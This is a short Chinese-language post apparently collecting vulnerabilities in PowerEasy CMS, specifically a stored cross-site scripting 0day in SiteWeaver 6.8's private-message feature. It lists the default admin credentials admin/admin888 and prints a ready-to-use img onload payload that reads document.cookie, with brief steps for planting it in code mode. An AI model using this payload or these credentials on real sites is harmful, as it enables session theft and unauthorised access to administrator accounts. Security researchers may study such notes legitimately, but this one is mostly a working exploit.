动易CMS漏洞收集

动易SiteWeaver6.8短消息0day跨站漏洞

user用户登陆,默认账号密码 admin/admin888

短消息代码模式下编辑,预览

<img src="../Skin/blue/powerease_logo.gif" onload="resizepic(this);function resizepic(){alert(document.cookie)};">

原文地址:https://www.cnblogs.com/xiaozi/p/5725050.html